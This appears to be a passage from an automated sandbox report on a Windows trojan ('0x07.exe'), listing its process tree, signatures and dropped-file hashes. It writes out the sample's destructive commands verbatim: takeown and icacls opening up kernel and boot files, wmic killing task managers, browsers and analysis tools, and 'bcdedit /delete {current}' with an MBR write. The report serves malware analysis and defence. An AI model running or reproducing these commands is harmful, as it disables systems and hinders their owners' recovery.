C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\hal.dll" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\winload.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\hal.dll" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\System32\drivers" /grant "everyone":F

Network

N/A

Files

\Windows\Temp\winconfig.exe

MD5	11d457ee914f72a436fa4a8a8f8446dd
SHA1	d0308ca82ed9716b667e8e77e9ae013b9af44116
SHA256	c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
SHA512	4c861cb0fa7170d6c71e11b3a826d1802ff0f9d029cfefa7428655929d5bab4bf56abeeb963e4927def3e959f2d4a0f199c8c3bf3ecbef8885189a52eeef666b

C:\Users\Admin\AppData\Local\Temp\AB4D.tmp\AB4E.tmp\AB4F.bat

MD5	a645734f3bf4a2682cbaf546789ec0c4
SHA1	fafcc11909412bf51f217e12dfaa93a15181a3e2
SHA256	3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
SHA512	efa399503b982eda2058a70b10289275fe3c51280bdbb649be40cc3f17c6085267236dc0f6f8bbbf782105e6f5510e6dbbd97de8e87113abc1d8c340ccad9a6d

C:\Users\Admin\AppData\Roaming\DetectKey.exe

MD5	aba9a3cf4e1db4602c25405987b809a6
SHA1	6cd545ea023ce9cdfe76607c6801cc11ff7d9e80
SHA256	490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
SHA512	e5a9e28549bab93f5cf2464707b3b46859271dea16f69e8757b00f79989b2665d3b9bc3d9794d1d9e1111f8ee03ecb933f1fadfcd2adeb695dc0fce0b8f90675

Analysis: behavioral8

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 19:00

Platform

win10v2004-20240226-en

Max time kernel

117s

Max time network

112s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"

Signatures

Drops file in Drivers directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\System32\drivers\rteth.sys	C:\Windows\system32\cmd.exe	N/A

Possible privilege escalation attempt

exploit

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	N/A
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	C:\Windows\Temp\winconfig.exe	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\Temp\winconfig.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\DetectKey.exe	N/A

Modifies file permissions

discovery

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A

File and Directory Permissions Modification: Windows File and Directory Permissions Modification

defense_evasion

Modifies boot configuration data using bcdedit

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\bcdedit.exe	N/A

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	N/A

Enumerates physical storage devices

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 36	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 36	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 36	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 3960 wrote to memory of 4068	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	C:\Windows\Temp\winconfig.exe
PID 3960 wrote to memory of 4068	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	C:\Windows\Temp\winconfig.exe
PID 3960 wrote to memory of 4068	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	C:\Windows\Temp\winconfig.exe
PID 4068 wrote to memory of 4760	N/A	C:\Windows\Temp\winconfig.exe	C:\Windows\system32\cmd.exe
PID 4068 wrote to memory of 4760	N/A	C:\Windows\Temp\winconfig.exe	C:\Windows\system32\cmd.exe
PID 4760 wrote to memory of 1816	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 4760 wrote to memory of 1816	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 4760 wrote to memory of 1816	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 4760 wrote to memory of 2344	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\bcdedit.exe
PID 4760 wrote to memory of 2344	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\bcdedit.exe
PID 4760 wrote to memory of 3632	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3632	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3556	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3556	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1604	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1604	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4748	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4748	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 372	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 372	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3912	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3912	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3132	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3132	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1564	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1564	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1368	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1368	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1668	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1668	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4724	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4724	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4292	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4292	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1680	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1680	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4300	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4300	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4388	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4388	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 764	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 764	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 2444	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 2444	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 760	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 760	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3896	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3896	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1728	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\icacls.exe
PID 4760 wrote to memory of 1728	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\icacls.exe
PID 4760 wrote to memory of 4988	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4988	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1856	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 1856	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3572	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3572	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4040	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4040	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3132	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 3132	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4960	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4960	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4864	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 4760 wrote to memory of 4864	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"

C:\Windows\Temp\winconfig.exe

"C:\Windows\Temp\winconfig.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8150.tmp\8151.tmp\8152.bat C:\Windows\Temp\winconfig.exe"

C:\Users\Admin\AppData\Roaming\DetectKey.exe

"C:\Users\Admin\AppData\Roaming\DetectKey.exe"

C:\Windows\system32\bcdedit.exe

bcdedit /delete {current}

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='mmc.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='PartAssist.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='control.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='Security Task Manager.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='Security Task Manager Protable.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='CCleaner.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp64.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp64a.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='regedit.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='iexplore.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='chrome.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='firefox.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='opera.exe' delete /nointeractive

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3776 --field-trial-handle=2252,i,16504368816373493055,9578615028378602855,262144 --variations-seed-version /prefetch:8

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='edge.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='msedge.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='brave.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='wmplayer.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='notepad.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='notepad++.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\taskmgr.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\hal.dll"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\winload.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\ntoskrnl.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\perfmon.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\resmon.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\logonui.exe

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\taskkill.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\tasklist.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\tskill.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\logonui.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Program Files\Process Hacker 2"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\System32\drivers"

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\hal.dll" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\winload.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

